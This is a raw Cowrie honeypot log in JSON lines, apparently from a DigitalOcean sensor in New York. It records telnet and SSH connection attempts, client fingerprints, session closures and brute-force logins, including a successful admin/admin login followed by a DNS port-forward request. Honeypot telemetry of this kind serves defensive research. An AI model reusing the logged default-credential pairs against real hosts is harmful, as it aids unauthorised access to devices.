{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54886,"dst_ip":"10.17.0.5","dst_port":23,"session":"f25a39e3224c","protocol":"telnet","message":"New connection: 20.123.41.163:54886 (10.17.0.5:23) [session: f25a39e3224c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:49.044510Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":48822,"dst_ip":"159.203.135.109","dst_port":23,"session":"71d994ae2ba1","protocol":"telnet","message":"New connection: 64.41.88.162:48822 (159.203.135.109:23) [session: 71d994ae2ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:56.455876Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":50840,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ad6988b0b4f","protocol":"telnet","message":"New connection: 64.41.88.162:50840 (159.203.135.109:23) [session: 8ad6988b0b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:58.590622Z"}
{"eventid":"cowrie.session.closed","duration":96.11581921577454,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:59.000634Z","src_ip":"64.41.88.162","session":"23e680316f5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.41705679893494,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:59.986906Z","src_ip":"20.123.41.163","session":"ff083f3d2f96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":52088,"dst_ip":"10.17.0.5","dst_port":23,"session":"43cf7b783a18","protocol":"telnet","message":"New connection: 20.123.41.163:52088 (10.17.0.5:23) [session: 43cf7b783a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:03.706871Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":52092,"dst_ip":"10.17.0.5","dst_port":23,"session":"557ce360b219","protocol":"telnet","message":"New connection: 20.123.41.163:52092 (10.17.0.5:23) [session: 557ce360b219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:05.450155Z"}
{"eventid":"cowrie.session.closed","duration":31.32649803161621,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:08.992115Z","src_ip":"104.245.105.2","session":"a9515dc9fce9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.81679391860962,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:12.523510Z","src_ip":"20.123.41.163","session":"43cf7b783a18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.3273286819458,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:15.777352Z","src_ip":"20.123.41.163","session":"557ce360b219","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.98375678062439,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:17.094520Z","src_ip":"20.123.41.163","session":"13953578b8e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38126,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf31332bc7e1","protocol":"telnet","message":"New connection: 104.245.105.2:38126 (10.17.0.5:23) [session: cf31332bc7e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:19.577424Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":37772,"dst_ip":"10.17.0.5","dst_port":22,"session":"1178dff230f6","protocol":"ssh","message":"New connection: 182.253.168.47:37772 (10.17.0.5:22) [session: 1178dff230f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:23.914047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:23.919373Z","src_ip":"182.253.168.47","session":"1178dff230f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:24.205460Z","src_ip":"182.253.168.47","session":"1178dff230f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38128,"dst_ip":"10.17.0.5","dst_port":23,"session":"770522ce7ea4","protocol":"telnet","message":"New connection: 104.245.105.2:38128 (10.17.0.5:23) [session: 770522ce7ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:24.405473Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asd","message":"login attempt [ubuntu/asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:27.376970Z","src_ip":"182.253.168.47","session":"1178dff230f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:28.665040Z","src_ip":"182.253.168.47","session":"1178dff230f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00097918510437,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:28.669701Z","src_ip":"64.41.88.162","session":"3c8f9662e928","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00202703475952,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:29.445143Z","src_ip":"64.41.88.162","session":"46c753e0e96f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.717392683029175,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:29.636563Z","src_ip":"20.123.41.163","session":"dcac64d2a580","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00278735160828,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:31.320906Z","src_ip":"64.41.88.162","session":"30a053682174","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.504775285720825,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:37.549186Z","src_ip":"20.123.41.163","session":"f25a39e3224c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":32848,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eb84c204a61","protocol":"telnet","message":"New connection: 104.245.105.2:32848 (10.17.0.5:23) [session: 6eb84c204a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:41.331424Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":52152,"dst_ip":"10.17.0.5","dst_port":23,"session":"30ccacc5a920","protocol":"telnet","message":"New connection: 20.123.41.163:52152 (10.17.0.5:23) [session: 30ccacc5a920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:44.034291Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":52156,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cebdeb697c7","protocol":"telnet","message":"New connection: 20.123.41.163:52156 (10.17.0.5:23) [session: 6cebdeb697c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:44.612868Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":52172,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddebfaf35b74","protocol":"telnet","message":"New connection: 20.123.41.163:52172 (10.17.0.5:23) [session: ddebfaf35b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:46.889320Z"}
{"eventid":"cowrie.session.closed","duration":31.142645120620728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:50.719969Z","src_ip":"104.245.105.2","session":"cf31332bc7e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4360,"dst_ip":"10.17.0.5","dst_port":22,"session":"59620b14a8df","protocol":"ssh","message":"New connection: 87.251.64.176:4360 (10.17.0.5:22) [session: 59620b14a8df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:51.138694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:51.143432Z","src_ip":"87.251.64.176","session":"59620b14a8df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:51.239245Z","src_ip":"87.251.64.176","session":"59620b14a8df","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:51.529749Z","src_ip":"87.251.64.176","session":"59620b14a8df","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:51.632666Z","session":"59620b14a8df","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:51.730728Z","src_ip":"87.251.64.176","session":"59620b14a8df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:51.829980Z","src_ip":"87.251.64.176","session":"59620b14a8df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":51416,"dst_ip":"10.17.0.5","dst_port":23,"session":"abc9946f7105","protocol":"telnet","message":"New connection: 20.123.41.163:51416 (10.17.0.5:23) [session: abc9946f7105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:55.514341Z"}
{"eventid":"cowrie.session.closed","duration":31.270643711090088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:55.675997Z","src_ip":"104.245.105.2","session":"770522ce7ea4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.120.253.57","src_port":40068,"dst_ip":"159.203.135.109","dst_port":23,"session":"5961dd87f06e","protocol":"telnet","message":"New connection: 190.120.253.57:40068 (159.203.135.109:23) [session: 5961dd87f06e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:58.291826Z"}
{"eventid":"cowrie.session.closed","duration":3.5409529209136963,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:58:59.055160Z","src_ip":"20.123.41.163","session":"abc9946f7105","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51058,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7016af4ee8c","protocol":"telnet","message":"New connection: 104.245.105.2:51058 (10.17.0.5:23) [session: a7016af4ee8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:02.738145Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":58688,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf37fcc8424a","protocol":"telnet","message":"New connection: 64.41.88.162:58688 (159.203.135.109:23) [session: bf37fcc8424a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:02.978549Z"}
{"eventid":"cowrie.session.closed","duration":67.03560209274292,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:05.626137Z","src_ip":"64.41.88.162","session":"8ad6988b0b4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.165.22.20","src_port":61158,"dst_ip":"159.203.135.109","dst_port":23,"session":"05c27000ba9c","protocol":"telnet","message":"New connection: 88.165.22.20:61158 (159.203.135.109:23) [session: 05c27000ba9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:07.399446Z"}
{"eventid":"cowrie.session.closed","duration":13.529613256454468,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:11.821353Z","src_ip":"190.120.253.57","session":"5961dd87f06e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.279124975204468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:12.610437Z","src_ip":"104.245.105.2","session":"6eb84c204a61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":36792,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecb53fde05a3","protocol":"telnet","message":"New connection: 20.123.41.163:36792 (10.17.0.5:23) [session: ecb53fde05a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:17.459306Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":44592,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7635a19c01d","protocol":"ssh","message":"New connection: 88.205.172.170:44592 (10.17.0.5:22) [session: f7635a19c01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:19.045146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:19.049919Z","src_ip":"88.205.172.170","session":"f7635a19c01d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:19.215989Z","src_ip":"88.205.172.170","session":"f7635a19c01d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"7777777","message":"login attempt [user/7777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:19.910106Z","src_ip":"88.205.172.170","session":"f7635a19c01d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:21.080955Z","src_ip":"88.205.172.170","session":"f7635a19c01d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57376,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e208b05af52","protocol":"telnet","message":"New connection: 104.245.105.2:57376 (10.17.0.5:23) [session: 0e208b05af52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:23.445951Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:26.707939Z","src_ip":"182.253.168.47","session":"2ac35532f4be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":54538,"dst_ip":"10.17.0.5","dst_port":22,"session":"a65cbe6cc675","protocol":"ssh","message":"New connection: 182.253.168.47:54538 (10.17.0.5:22) [session: a65cbe6cc675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:29.768808Z"}
{"eventid":"cowrie.session.closed","duration":45.5876407623291,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:32.476854Z","src_ip":"20.123.41.163","session":"ddebfaf35b74","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:33.233943Z","src_ip":"182.253.168.47","session":"a65cbe6cc675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:33.237982Z","src_ip":"182.253.168.47","session":"a65cbe6cc675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.52913236618042,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:34.563334Z","src_ip":"20.123.41.163","session":"30ccacc5a920","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41066,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa6652354b47","protocol":"telnet","message":"New connection: 20.123.41.163:41066 (10.17.0.5:23) [session: aa6652354b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:35.229991Z"}
{"eventid":"cowrie.session.closed","duration":32.54357099533081,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:35.281583Z","src_ip":"104.245.105.2","session":"a7016af4ee8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:35.893679Z","src_ip":"182.253.168.47","session":"a65cbe6cc675","protocol":"ssh"}
